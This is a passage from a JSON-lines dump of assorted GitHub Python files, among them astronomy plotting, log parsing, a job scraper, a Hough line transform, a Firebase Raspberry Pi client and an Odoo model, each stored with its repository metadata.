label='SOAO',ls='none'),\n\t\t\t\t   Line2D([], [], marker='s', color='k', label='30INCH',ls='none', fillstyle='none'),\n\t\t\t\t   Line2D([], [], marker='+', color='k', label='CCA250',ls='none'),\n\t\t\t\t   Line2D([], [], marker='*', color='k', label='Maidanak',ls='none'),\n\t\t\t\t  ]\nplt.legend(handles=legend_elements)\n\n\n#plt.errorbar(Bdat['jd'][indexnone]-2400000.5, Bdat['limit7'][indexnone], Bdat['zpap7err'][indexnone],lolims=Bdat['zpap7err'][indexnone])\n\nplt.text(58140,18,'B+2',color='b',weight='bold',fontsize=12)\nplt.text(58140,18.5,'V+1',color='g',weight='bold',fontsize=12)\nplt.text(58140,19,'R',color='r',weight='bold',fontsize=12)\n\n#plt.vlines(57898.99,14,22) # discovery date 57898.99 by Ron Arbour\nplt.xlim(57880,58190)\nplt.ylim(23,14)\nplt.ylabel('Mag (Vega)')\nplt.xlabel('MJD')\nplt.title('SN 2017ein Light Curve')\nplt.savefig('sn2017ein-LC.png')\nplt.close()\n\n\n\n\n#Bdat\n#Vdat\n#Rdat\n\n\nBVcolor=ascii.read('BV-phot-clean-color.csv')\nVRcolor=ascii.read('VR-phot-clean-color.csv')\nBRcolor=ascii.read('BR-phot-clean-color.csv')\n\nVmax=2457913.1 # Van Dyk 2018\nplt.subplots_adjust(hspace=0)\nplt.subplot(311)\nplt.errorbar(BVcolor['jd_1']-Vmax ,BVcolor['BVcolor'],BVcolor['BVcolorerr'], marker='o',fillstyle='none',color='k',ls='')\nplt.ylabel('B-V')\n\nplt.subplot(312)\nplt.errorbar(VRcolor['jd_1']-Vmax ,VRcolor['VRcolor'],VRcolor['VRcolorerr'], marker='s',fillstyle='none',color='k',ls='')\nplt.ylabel('V-R')\n\nplt.subplot(313)\nplt.errorbar(BRcolor['jd_1']-Vmax ,BRcolor['BRcolor'],BRcolor['BRcolorerr'], marker='^',fillstyle='none',color='k',ls='')\nplt.ylabel('B-R')\nplt.xlabel('Day since V Maximum')\n\nplt.savefig('SN2017ein-color.png')\n\nplt.close()\n\n\ngalactic_extinction=[0.077,0.058,0.046]\nc0,c1,c2,rms = -0.083,-0.139,-0.691,0.109 # Lyman +2014 B-V 0.0~1.3 range Bolometrice correction term\n# BC_B= M_bol - M_B\n# BC__B= c0 + c1*(B-V) + c2 * ((B-V)**2)\n# (BVcolor-0.019), B-V(galactic extinction corrected) = B-0.077 - V-0.058 = BVcolor-0.019\nBolCorB= c0 + c1*((BVcolor['BVcolor']-0.019)) + c2 * (((BVcolor['BVcolor']-0.019))**2)\n\n\nM_B=BVcolor['psfmag_1']-31.75-0.077\nplt.plot( BVcolor['jd_1']-Vmax, Mbol_B,'bo')\nplt.title('Bolometric Light Curve')\nplt.xlabel('Day MJD')\nplt.ylable('')\nplt.show()\n","repo_name":"changsuchoi/cspy","sub_path":"sn2017ein-photplot.py","file_name":"sn2017ein-photplot.py","file_ext":"py","file_size_in_byte":8199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"10062319590","text":"__author__ = 'TianluWang'\nfrom config import time_node\nfrom json_body_makeup import json_body_makeup\nfrom datetime import datetime, timedelta\nfrom open_app import ip_location\n\n\ndef static_files(files):\n\n    json_bodys = []\n    pre_time = str(time_node)[:-7].replace(\" \", \"T\")\n\n    for file in files:\n        with open(file) as f:\n            for line in f.readlines():\n                line_list = line.split(' ')\n                if line_list[3][1:-7] < pre_time:\n                    continue\n                tmp = line_list[5].split('/')[-1]\n                if 'vendor' in tmp or 'app' in tmp:\n                    measurement = 'static_files'\n                    CST_time_s = line_list[3][1:-7].replace(\"T\", \" \")\n                    CST_time = datetime.strptime(CST_time_s, '%Y-%m-%d %H:%M:%S')\n                    UTC_time = CST_time - timedelta(hours=8)\n                    time = str(UTC_time).replace(\" \", \"T\")\n                    value = {}\n                    value['ip'] = line_list[0]\n                    value['country'] = ip_location(value['ip'])\n                    value['status'] = line_list[7]\n                    value['time_cost_new'] = float(line_list[-3])\n                    value['Android'] = 'Android' in line\n                    value['iPhone'] = 'iPhone' in line\n                    if 'Android' in line:\n                        value['an_or_ios'] = '1'\n                    else:\n                        value['an_or_ios'] = '0'\n                    value['url'] = line_list[5]\n                    json_body = json_body_makeup(measurement, time, value)\n                    json_bodys.append(json_body)\n\n    return json_bodys\n","repo_name":"tianlu-wang/ERP_backend_monitor","sub_path":"src/static_files.py","file_name":"static_files.py","file_ext":"py","file_size_in_byte":1647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28248782942","text":"# На грузовом судне необходимо перевезти контейнеры, имеющие одинаковый габарит и разные массы (некоторые контейнеры \n# могут иметь одинаковую массу). Общая масса всех контейнеров превышает грузоподъёмность судна. \n# Количество грузовых мест на судне не меньше количества контейнеров, назначенных к перевозке. Какое максимальное \n# количество контейнеров можно перевезти за один рейс и какова масса самого тяжёлого контейнера среди всех контейнеров, \n# которые можно перевезти за один рейс?\n# Входные данные.\n# В первой строке входного файла находятся два числа: S — грузоподъёмность судна (натуральное число, не превышающее \n# 100 000) и N — количество контейнеров (натуральное число, не превышающее 20 000). В следующих N строках находятся \n# значения масс контейнеров, требующих транспортировки (все числа натуральные, не превышающие 100), каждое в отдельной \n# строке.\n# Выходные данные.\n# Два целых неотрицательных числа: максимальное количество контейнеров, которые можно перевезти за один рейс и \n# масса наиболее тяжёлого из них.\n# https://inf-ege.sdamgia.ru/problem?id=36039\n\n# Фактически, абсолютно такая же задача, как и 26 (1), только вместо файлов и места под файлы - грузы и грузоподъемность\n# Поэтому нейминг переменных менять не стал\n# files - грузы, size - грузоподъемность, memory - складываем подходящие грузы, biggest_file - самый большой груз\n\n# Считываем размеры всех файлов и сортируем в порядке возрастания\nfiles = sorted(list(map(int, open(\"36039.txt\", \"r\").read().splitlines()[1:])))\n\n# Считываем общий объём памяти\nsize = int(open(\"36039.txt\", \"r\").readline().split(\" \")[0])\n\nmemory = []                                                 # Сюда будем складывать подходящие файлы\n\nfor i in range(len(files)):                                 # Проходимся циклом по всем файлам\n    if sum(memory) + files[i] <= size:                      # Если влезаем или ровно влезли\n        memory.append(files[i])                             # То добавляем еще один файл\n\nbiggest_file = files[len(memory)-1] + size - sum(memory)    # Ищем размер самого большого файла который влезет\nwhile biggest_file not in files:                            # Ищем этот файл во всех файлах, если его нет,\n    biggest_file -= 1                                       # То уменьшаем на единицу\n\nprint(len(memory), biggest_file)\n","repo_name":"paracosm17/egeinformatics","sub_path":"26/Задачи про грузы/36039/36039.py","file_name":"36039.py","file_ext":"py","file_size_in_byte":3625,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"72671850022","text":"#从任意长度的可迭代对象中分解元素\n\nrecord = ('name', 'addr', 'tel', 'tel2')\nname, addr, *tel = record\nprint(name)\nprint(addr)\nprint(tel)\n\n*before, after = [1, 2, 3, 4, 5, 6]\nprint(before)\nprint(after)\n\n# 在循环中也好使\nrecord = [('foo', 1, 2), ('bar', 'hello'), ('foo', 5, 6)]\n\n\ndef do_foo(x, y):\n    print('foo', x, y)\n\n\ndef do_bar(s):\n    print('bar', s)\n\n\nfor tag, *tags in record:\n    if tag == 'foo':\n        do_foo(*tags)\n    elif tag == 'bar':\n        do_bar(tags)\n","repo_name":"dalq/python-cookbook","sub_path":"cookbook/one/2SplitArbitrarySequence.py","file_name":"2SplitArbitrarySequence.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3620011778","text":"import random\n\nimport matplotlib.pyplot as plt\nfrom rdflib import Graph, URIRef, RDF, RDFS, Literal, XSD\n\nfrom classhierarchy import ClassHierarchyGenerator\nfrom gaussian import Gaussian\n\nGEOSPARQL_NS = 'http://www.opengis.net/ont/geosparql#'\nFEATURE_CLS = URIRef(GEOSPARQL_NS + 'Feature')\nGEOMETRY_CLS = URIRef(GEOSPARQL_NS + 'Geometry')\nHAS_GEOMETRY = URIRef(GEOSPARQL_NS + 'hasGeometry')\nAS_WKT = URIRef(GEOSPARQL_NS + 'asWKT')\nWKT_TYPE = URIRef(GEOSPARQL_NS + 'wktLiteral')\nLAT = URIRef('http://www.w3.org/2003/01/geo/wgs84_pos#lat')\nLON = URIRef('http://www.w3.org/2003/01/geo/wgs84_pos#long')\n\n\ndef generate(\n        num_points: int,\n        num_classes: int,\n        num_clusters: int,\n        lat_min: float,\n        lat_max: float,\n        lon_min: float,\n        lon_max: float,\n        output_file_path: str):\n\n    while True:\n        class_hierarchy_genertor = \\\n            ClassHierarchyGenerator(num_classes, num_clusters)\n\n        class_hierarchy = class_hierarchy_genertor.get_random_hierarchy()\n        print(class_hierarchy)\n\n        cluster_base_classes = \\\n            list(class_hierarchy.get_direct_subclasses(class_hierarchy.T))\n\n        dist_lat = lat_max - lat_min\n        dist_lon = lon_max - lon_min\n\n        cluster_gaussians = []\n\n        colors = list(plt.colormaps.get('Paired').colors)\n        assert num_clusters <= len(colors)\n        random.shuffle(colors)\n\n        # create random Gaussian distributions\n        for i in range(num_clusters):\n            mu_lat = random.uniform(lat_min, lat_max)\n            mu_lon = random.uniform(lon_min, lon_max)\n\n            sigma_lon = random.uniform(\n                dist_lon / (num_classes - 1), dist_lon / 3)\n            sigma_lat = random.uniform(\n                dist_lat / (num_classes - 1), dist_lat / 3)\n\n            angle = random.uniform(0, 180)\n\n            color = colors.pop()\n\n            gaussian = Gaussian(\n                mu_lat, mu_lon, sigma_lat, sigma_lon, angle, color)\n\n            cluster_gaussians.append(gaussian)\n\n        points = []\n        point_clusters = []  # maybe not needed\n        point_colors = []\n        point_classes = []\n\n        for i in range(num_points):\n            # choose random cluster\n            cluster_index = random.randint(0, num_clusters-1)\n            point_clusters.append(cluster_index)\n            cluster_gaussian = cluster_gaussians[cluster_index]\n            color = cluster_gaussian.color\n            point_colors.append(color)\n            lat, lon = cluster_gaussian.get_point()\n            points.append((lat, lon))\n            cluster_base_cls = cluster_base_classes[cluster_index]\n            cls = class_hierarchy.get_random_subclass_of(cluster_base_cls)\n            point_classes.append(cls)\n            plt.plot(lat, lon, 'o', color=color)\n\n        plt.show()\n\n        answer = input('Keep this random dataset? (y/n)').lower()\n\n        if answer == 'y':\n            break\n\n    # write dataset to file\n    g = Graph()\n\n    g += class_hierarchy.as_graph()\n\n    for i in range(len(points)):\n        point = URIRef('http://ex.com/point%03i' % i)\n        geometry = URIRef('http://ex.com/geometry%03i' % i)\n        lat, lon = points[i]\n        cls = point_classes[i]\n        cluster = point_clusters[i]\n\n        g.add((point, RDF.type, FEATURE_CLS))\n        g.add((point, RDF.type, cls))\n        g.add((point, RDFS.comment, Literal(f'Belongs to cluster {cluster}')))\n        g.add((point, LAT, Literal(lat, None, XSD.double)))\n        g.add((point, LON, Literal(lon, None, XSD.double)))\n        g.add((point, HAS_GEOMETRY, geometry))\n        g.add(\n            (geometry, AS_WKT, Literal(f'POINT({lon} {lat})', None, WKT_TYPE)))\n\n    g.serialize(output_file_path, format='ntriples')\n\n\n# call example:\n# if __name__ == '__main__':\n#     # Dresden area\n#     lon_min = 13.6301\n#     lon_max = 13.8615\n#     lat_min = 50.9815\n#     lat_max = 51.1158\n#     generate(100, 50, 4, lat_min, lat_max, lon_min, lon_max, '/tmp/dataset.nt')\n","repo_name":"patrickwestphal/spatio_semantic_dataset_generator","sub_path":"datasetgenerator.py","file_name":"datasetgenerator.py","file_ext":"py","file_size_in_byte":3971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"25261185429","text":"#!/usr/bin/python3\r\n\"\"\"Defines a Square class\"\"\"\r\nfrom models.rectangle import Rectangle\r\n# Rectangle = __import__('rectangle').Rectangle\r\n\r\n\r\nclass Square(Rectangle):\r\n    \"\"\"\r\n    Represents the square model that inherits from the rectangle Model\r\n    \"\"\"\r\n\r\n    def __init__(self, size, x=0, y=0, id=None):\r\n        \"\"\"\r\n            Intialize a new rectangle\r\n\r\n            Args:\r\n                size(int): the size of the square\r\n                x(int): the x coordinate of the square\r\n                y(int): the y coordinate of the square\r\n                id(int): the identity of the square\r\n        \"\"\"\r\n        super().__init__(size, size, x, y, id)\r\n\r\n    @property\r\n    def size(self):\r\n        \"\"\"set/get the width of the square\"\"\"\r\n        return self.width\r\n\r\n    @size.setter\r\n    def size(self, value):\r\n        self.width = value\r\n        self.height = value\r\n\r\n    def __str__(self):\r\n        \"\"\"\r\n            Overrides the __str__ method\r\n        \"\"\"\r\n        text = \"[Square] ({:d}) {:d}/{:d} - {:d}\"\r\n        return (text.format(self.id, self.x, self.y, self.width))\r\n\r\n    def update(self, *args, **kwargs):\r\n        \"\"\"\r\n            Update the class square by adding the public method\r\n        \"\"\"\r\n        if (args and len(args) != 0):\r\n            a = 0\r\n            for arg in args:\r\n                if a == 0:\r\n                    if arg is None:\r\n                        self.__init__(self.size, self.x, self.y)\r\n                    else:\r\n                        self.id = arg\r\n                elif a == 1:\r\n                    self.size = arg\r\n                elif a == 2:\r\n                    self.x = arg\r\n                elif a == 3:\r\n                    self.y = arg\r\n                a += 1\r\n        elif (kwargs and len(kwargs) != 0):\r\n            for k, v in kwargs.items():\r\n                if k == \"id\":\r\n                    if v is None:\r\n                        self.__init__(self.size, self.x, self.y)\r\n                    else:\r\n                        self.id = v\r\n                elif k == \"size\":\r\n                    self.size = v\r\n                elif k == \"x\":\r\n                    self.x = v\r\n                elif k == \"y\":\r\n                    self.y = v\r\n\r\n    def to_dictionary(self):\r\n        \"\"\"\r\n            Returns the dictionary representation of a Square\r\n        \"\"\"\r\n        return dict(\r\n            {\"id\": self.id, \"size\": self.size, \"x\": self.x, \"y\": self.y}\r\n        )\r\n","repo_name":"3akare/alx-higher_level_programming","sub_path":"0x0C-python-almost_a_circle/models/square.py","file_name":"square.py","file_ext":"py","file_size_in_byte":2435,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"39445743732","text":"from bs4 import BeautifulSoup\nfrom requests import get\n\nfrom scrap.decorator.common_decorators import timeit\n\n\n@timeit\ndef jobs_wwr(keyword):\n    \n    # we work remotely 사이트 검색 url\n    base_url = \"https://weworkremotely.com/remote-jobs/search?utf8=%E2%9C%93&term=\"\n\n    # 요청 후 응답 받기\n    response = get(f\"{base_url}{keyword}\")\n\n    # 응답 상태 코드에 따른 분기 처리\n    if response.status_code != 200:\n        print(\"Can't request website\")\n    else:\n        results = {'site':'We Work Remotely'}\n        list = []\n\n        # html 파싱\n        soup = BeautifulSoup(response.text, \"html.parser\")\n        jobs = soup.find_all('section', class_=\"jobs\")\n\n        for job_section in jobs:\n            job_posts = job_section.find_all('li')\n\n            # 마지막 view-all을 클래스를 가진 li 제거\n            job_posts.pop(-1)\n\n            for post in job_posts:\n                anchors = post.find_all('a')\n                anchor  = anchors[1]\n                title   = anchor.find('span', class_='title')\n                link    = f'https://weworkremotely.com{anchor[\"href\"]}'\n\n                response_item = get(link)\n                soup_item = BeautifulSoup(response_item.text, \"html.parser\")\n                thumbnail_img = soup_item.find(\"div\", class_=\"listing-logo\").find('img')\n                thumbnail = thumbnail_img[\"src\"]\n\n                # company 키워드로 탐색한 3개의 요소를 각각 할당\n                company, kind, region = anchor.find_all('span', class_='company')\n\n                job_data = {\n                    'company' : company.string.replace(',', ' '),\n                    'location': region.string.replace(',', ' '),\n                    'position': title.string.replace(',', ' '),\n                    'url'     : link,\n                    'thumbnail': thumbnail\n                }\n                list.append(job_data)\n\n        results['list'] = list\n\n    return [results]","repo_name":"laagom/simple-web-scrap","sub_path":"scrap/extractors/wwr.py","file_name":"wwr.py","file_ext":"py","file_size_in_byte":1959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"4327387662","text":"alzheimer_keywords = [\"Memory loss\", \"Poor judgment\", \"Loss of spontaneity\",\n                          \"Taking longer to complete normal daily tasks\", \"getting lost\", \n                          \"Increased anxiety\", \"Chest pain\", \"forget things\", \"can't remember\"]\n                          \nheart_keywords = [\"Chest pain\",\"chest tightness\", \"Shortness of breath\", \"chest discomfort\", \"chest pressure\", \n                  \"Numbness in the legs or arms\", \"Pain in upper belly area\", \"Lightheadedness\",\"Dizziness\", \n                  \"fast heartbeat\", \"palpitations\", \"Pain in the neck or back\", \"Swollen legs\"]\n\nlung_cancer_keywords = [\"Chronic coughing\", \"Chest pain\", \"Shortness of breath\",\"Coughing up blood\", \n                            \"Wheezing\", \"Coughing up blood\", \"Tiredness\", \"Weight loss\", \"Bone pain\", \"Headache\"]\n\nstroke_keywords = [\"Numbness or weakness in the face, arm, or leg\", \"Confusion\", \"Trouble with speaking\", \n            \"Difficulty in understanding speech\", \"Trouble seeing in one or both eyes\", \n            \"Trouble with walking\", \"Dizziness\", \"Loss of balance or lack of coordination\",\n            \"Severe headache\"]\n\nkeywords_dict = {\"alzheimer\": alzheimer_keywords, \"HeartDisease\": heart_keywords, \"lung_cancer\": lung_cancer_keywords, \"Stroke\": stroke_keywords}\n\nall_keywords = alzheimer_keywords+heart_keywords+lung_cancer_keywords+stroke_keywords\n\n\n\n\n","repo_name":"shiwali1991/Diseases_prediction_probabilities","sub_path":"keywords_data.py","file_name":"keywords_data.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72900352742","text":"import pickle\ndef top10():\n    with open('/home/tig/gpweb/gpcountlist.pkl','rb') as f:\n        li=pickle.load(f)\n    ll=[]#dict 's total  list\n    l2=[]\n    l3=[]\n    l4=[]\n    l5=[]\n    di={}\n    for i in li:\n         ll.append(eval(i[0]))\n         di.update(eval(i[0]))\n    for q in ll:\n        for z in q.keys():\n                l3.append(z)\n    l1=list(set(l3))\n    for i in l1:\n        count=l3.count(i)\n        l2.append(str(count)+i)\n    l2.sort(reverse=True)\n    l6=l2[0:10]\n    for s in l6:\n        l4.append(s[1:])\n    with open('/home/tig/gpweb/gpdict.pkl','rb') as fi:\n        dic=pickle.load(fi)\n    return (l4[0:10],dic)\ntop10()","repo_name":"Tighan/goweb","sub_path":"analy.py","file_name":"analy.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41132215019","text":"\"\"\"\ncoded by Kamino, kamino.plus@qq.com, 2022/4/15\n未经许可不得转载\n\"\"\"\nimport numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\nfrom queue import PriorityQueue\n\n\ndef non_max_suppression(x):\n    res = np.zeros_like(x)\n    for i in range(x.shape[0]):\n        for j in range(x.shape[1]):\n            if x[i, j] == 0:\n                continue\n            if np.sum(x[i - 1:i + 2, j - 1:j + 2] > x[i, j]) == 0:\n                # print(x[i - 1:i + 2, j - 1:j + 2])\n                res[i, j] = x[i, j]\n    return res\n\n\ndef hough_line(x, theta_prec=1.0, rho_prec=2.0, topk=1, weight_mat: np.ndarray = None, non_max=False):\n    if weight_mat is not None:  # 权重矩阵得是方阵，且边长要是单数\n        assert len(weight_mat.shape) and weight_mat.shape[0] == weight_mat.shape[1] and weight_mat.shape[0] % 2 == 1\n    # theta_ax和rho_ax是霍夫空间两个轴的量化数组\n    # 使用theta_prec和rho_prec两个参数来确定量化精度，数字越大量化越粗\n    theta_ax = np.deg2rad(np.arange(0, 180, theta_prec))\n    max_rho = np.sqrt(x.shape[0] ** 2 + x.shape[1] ** 2)\n    rho_ax = np.arange(-max_rho, max_rho, rho_prec)\n    # 霍夫空间：是一个rho行theta列的空间\n    hough_space = np.zeros((len(rho_ax), len(theta_ax)))\n    for i in tqdm(range(x.shape[0])):  # i行 j列\n        for j in range(x.shape[1]):\n            # 找到二值图像中的1点\n            if x[i, j] == 0:\n                continue\n            # 对于每一个theta的量化值求rho\n            for t in range(len(theta_ax)):\n                rh = j * np.cos(theta_ax[t]) + i * np.sin(theta_ax[t])\n                # 量化得到的rho值，由于rho可能为负数，而数组是没有负数索引的\n                # （虽然python的负索引有倒数的意义），所以我们要平移到正确的\n                # 位置上。\n                # 1.加轴的最大值 2.除以精度 3.找到最近整数位\n                # *4.给相邻区块加权添加\n                # *5.非最大化抑制\n                if weight_mat is None:\n                    hough_space[int(round((rh + max_rho) / rho_prec)), t] += 1\n                else:\n                    tgt_point = (int(round((rh + max_rho) / rho_prec)), t)\n                    offset = (weight_mat.shape[0] - 1) // 2\n                    hot_area = hough_space[tgt_point[0] - offset:tgt_point[0] + offset + 1,\n                               tgt_point[1] - offset:tgt_point[1] + offset + 1]\n                    if hot_area.shape == weight_mat.shape:\n                        hough_space[tgt_point[0] - offset:tgt_point[0] + offset + 1,\n                        tgt_point[1] - offset:tgt_point[1] + offset + 1] += weight_mat\n    if non_max is True:\n        hough_space = non_max_suppression(hough_space)\n\n    # 用优先队列（大顶堆）找到前n个结果\n    if topk == 1:\n        points = np.where(hough_space == np.max(hough_space))\n        return (rho_ax[points[0]], theta_ax[points[1]]), hough_space\n    else:\n        queue = PriorityQueue()\n        for i in range(hough_space.shape[0]):\n            for j in range(hough_space.shape[1]):\n                queue.put((-hough_space[i, j], rho_ax[i], theta_ax[j], i, j))\n        res = [queue.get()[1:] for _ in range(topk)]\n        return res, hough_space\n\n\nimg = cv2.imread(\"imgs/ironnet_small.jpg\", cv2.IMREAD_GRAYSCALE)\ncanny_img = cv2.Canny(img, 200, 230)\nkernel = np.array([[2, 4, 5, 4, 2], [4, 9, 12, 9, 4], [5, 12, 15, 12, 5], [4, 9, 12, 9, 4], [2, 4, 5, 4, 2]]) / 159\nrho_thetas, hough_img = hough_line(canny_img, topk=10, rho_prec=1, theta_prec=0.5, weight_mat=None, non_max=True)\n\n# 下面都是绘图了\n# figure1是对比\nfig = plt.figure(1)\nax = plt.subplot(2, 1, 1)\nax.imshow(img, cmap=plt.get_cmap('gray'))\nax.set_title('Result')\nprint(\"*\" * 30)\nprint(\"预测出的直线方程\")\nfor rho, theta, _, _ in rho_thetas:\n    print(f\"x*{round(np.cos(theta), 2)}+y*{round(np.sin(theta), 2)}={round(rho / 2, 2)}\")\n    x_ = np.arange(0, canny_img.shape[1])\n    y_ = (rho - x_ * np.cos(theta)) / np.sin(theta)\n    ax.plot(x_, y_, 'red')\nplt.ylim([img.shape[0], 0])\nprint(\"*\" * 30)\nax = plt.subplot(2, 1, 2)\nax.imshow(canny_img, cmap=plt.get_cmap('gray'))\nax.set_title('Canny')\n# figure2是霍夫空间可视化\nfig = plt.figure(2)\nax = plt.subplot(1, 1, 1)\nax.imshow(hough_img, origin='lower')\nfor _, _, ri, ti in rho_thetas:\n    ax.scatter(ti, ri)\nax.set_ylabel(r'$\\rho$')\nax.set_xlabel(r'$\\theta$')\nax.set_title('Hough space')\nplt.show()\n","repo_name":"Kamino666/learn_cv","sub_path":"hough.py","file_name":"hough.py","file_ext":"py","file_size_in_byte":4493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28993528238","text":"r = 1000000\n\ndef rotate(n):\n    n_list = [int(x) for x in str(n)]\n    rotations = []\n    for digit in range(len(str(n))):\n        rotations.append(int(''.join(map(str,n_list))))\n        n_list.append(n_list.pop(0))\n        \n    return rotations\n\n\ndef gen_primes(n):\n    size = n//2\n    sieve = [1]*size\n    limit = int(n**0.5)\n    for i in range(1,limit):\n        if sieve[i]:\n            val = 2*i+1\n            tmp = ((size-1) - i)//val \n            sieve[i+val::val] = [0]*tmp\n    return [2] + [i*2+1 for i, v in enumerate(sieve) if v and i>0]\n\nprint(\"Generating primes below {}...\".format(r))\nprimes = gen_primes(r)\nprint(\"Primes generated...\")\ncircular_primes = []\n\nprint()\nprint(\"Calculating circular primes below {}...\".format(r))\nfor prime in primes:\n    rotations = rotate(prime)\n    primes_in_rotations = 0\n    for i in rotations:\n        if i not in primes:\n            break\n        else:\n            primes_in_rotations += 1\n\n        if primes_in_rotations == len(rotations) and prime not in circular_primes:\n            circular_primes.append(prime)\n            print(\"{} added!\".format(str(prime)))\n\nanswer = len(circular_primes)\nprint(\"Complete! There are {} circular primes below {}\".format(str(answer), str(r)))\n","repo_name":"harryboulton1/ProjectEuler-Solutions---Harry-Boulton","sub_path":"35.py","file_name":"35.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"5252594212","text":"import requests\nimport time\n\nimport mechanical_ops as mech\n\nimport pyrebase\nfrom signal import pause\n\nconfig = {\n  \"apiKey\": \"apiKey\",\n  \"authDomain\": \"crawler-561c8.firebaseapp.com\",\n  \"databaseURL\": \"https://crawler-561c8.firebaseio.com\",\n  \"storageBucket\": \"crawler-561c8.appspot.com\",\n#   \"serviceAccount\": \"path/to/serviceAccountCredentials.json\"\n}\n\nfirebase = pyrebase.initialize_app(config)\ndb = firebase.database()\n\ndef state_needed(message):\n    db.update({\"state_list\": mech.get_state(), \"state_needed\": 0})\n\ndef set_action(message):\n    action_list = message[\"data\"]\n    mech.set_speed(action_list)\n    time.sleep(0.3)\ntry:\n    db.child(\"state_needed\").stream(state_needed)\n    db.child(\"action_list\").stream(set_action)\n    print(\"Ready\")\n    pause()\nexcept KeyboardInterrupt:\n    print(\"Exiting...\")","repo_name":"tekotan/crawler","sub_path":"raspberry_pi/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"23442820835","text":"# License AGPL-3.0 or later (https://www.gnu.org/licenses/agpl).\nfrom odoo import api, fields, models\n\n\nclass MailActivity(models.Model):\n    _inherit = 'mail.activity'\n\n    activity_objective_id = fields.Many2one(\n        comodel_name='mail.activity.objective',\n        string='Activity objective'\n    )\n    duration = fields.Float(\n        string='Duration'\n    )\n\n    @api.multi\n    def get_old_item_without(self, res_model, res_id):\n        res = {\n            'date_deadline': False,\n            'summary': '',\n            'activity_type_id': 0,\n            'activity_objective_id': 0,\n        }\n        activity_ids = self.env['mail.activity'].sudo().search(\n            [\n                ('res_model', '=', res_model),\n                ('res_id', '=', res_id)\n            ],\n            order=\"date_deadline asc\"\n        )\n        if activity_ids:\n            res = {\n                'date_deadline': activity_ids[0].date_deadline,\n                'summary': activity_ids[0].summary,\n                'activity_type_id': activity_ids[0].activity_type_id.id,\n                'activity_objective_id': activity_ids[0].activity_objective_id.id\n            }\n        # return\n        return res\n\n    @api.multi\n    def regenerate_model_field(self, res_model, res_id):\n        old_item = self.get_old_item_without(res_model, res_id)[0]\n        # res_model_item\n        res = self.env[res_model].sudo().browse(res_id)\n        # next_activity_date_deadline\n        if 'next_activity_date_deadline' in res:\n            res.next_activity_date_deadline = old_item['date_deadline']\n        # next_activity_summary\n        if 'next_activity_summary' in res:\n            res.next_activity_summary = old_item['summary']\n        # next_activity_activity_type_id\n        if 'next_activity_activity_type_id' in res:\n            res.next_activity_activity_type_id = old_item['activity_type_id']\n        # next_activity_activity_objective_id\n        if 'next_activity_activity_objective_id' in res:\n            res.next_activity_activity_objective_id = old_item['activity_objective_id']\n        # return\n        return res\n","repo_name":"OdooNodrizaTech/mail","sub_path":"mail_activity_objective/models/mail_activity.py","file_name":"mail_activity.py","file_ext":"py","file_size_in_byte":2108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"33864499540","text":"import gi\n\ngi.require_version(\"Gtk\", \"3.0\")\nfrom gi.repository import Gtk\nfrom emote import user_data\nfrom emote.keybinding import ButtonKeybinding\n\n\nGRID_SIZE = 10\n\n\nclass Settings(Gtk.Dialog):\n    def __init__(self, update_accelerator):\n        Gtk.Dialog.__init__(\n            self,\n            title=\"Emote Settings\",\n            window_position=Gtk.WindowPosition.CENTER,\n            resizable=False,\n        )\n\n        self.update_accelerator = update_accelerator\n\n        header = Gtk.HeaderBar(title=\"Settings\", show_close_button=True)\n        self.set_titlebar(header)\n\n        box = self.get_content_area()\n\n        hbox = Gtk.Box(orientation=Gtk.Orientation.HORIZONTAL, spacing=GRID_SIZE)\n\n        shortcut_label = Gtk.Label()\n        shortcut_label.set_text(\"Keyboard Shortcut\")\n        shortcut_label.set_justify(Gtk.Justification.LEFT)\n        hbox.pack_start(shortcut_label, False, False, GRID_SIZE)\n\n        shortcut_keybinding = ButtonKeybinding()\n        shortcut_keybinding.set_size_request(150, -1)\n        shortcut_keybinding.connect(\"accel-edited\", self.on_kb_changed)\n        shortcut_keybinding.connect(\"accel-cleared\", self.on_kb_changed)\n        accel_string, _ = user_data.load_accelerator()\n        shortcut_keybinding.set_accel_string(accel_string)\n\n        hbox.pack_start(shortcut_keybinding, False, False, GRID_SIZE)\n        box.pack_start(hbox, False, False, GRID_SIZE)\n\n        self.show_all()\n        self.present()\n\n    def on_kb_changed(self, button_keybinding, accel_string=None, accel_label=None):\n        self.update_accelerator(accel_string, accel_label)\n","repo_name":"OrigamiEngineer/Emote","sub_path":"emote/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"}
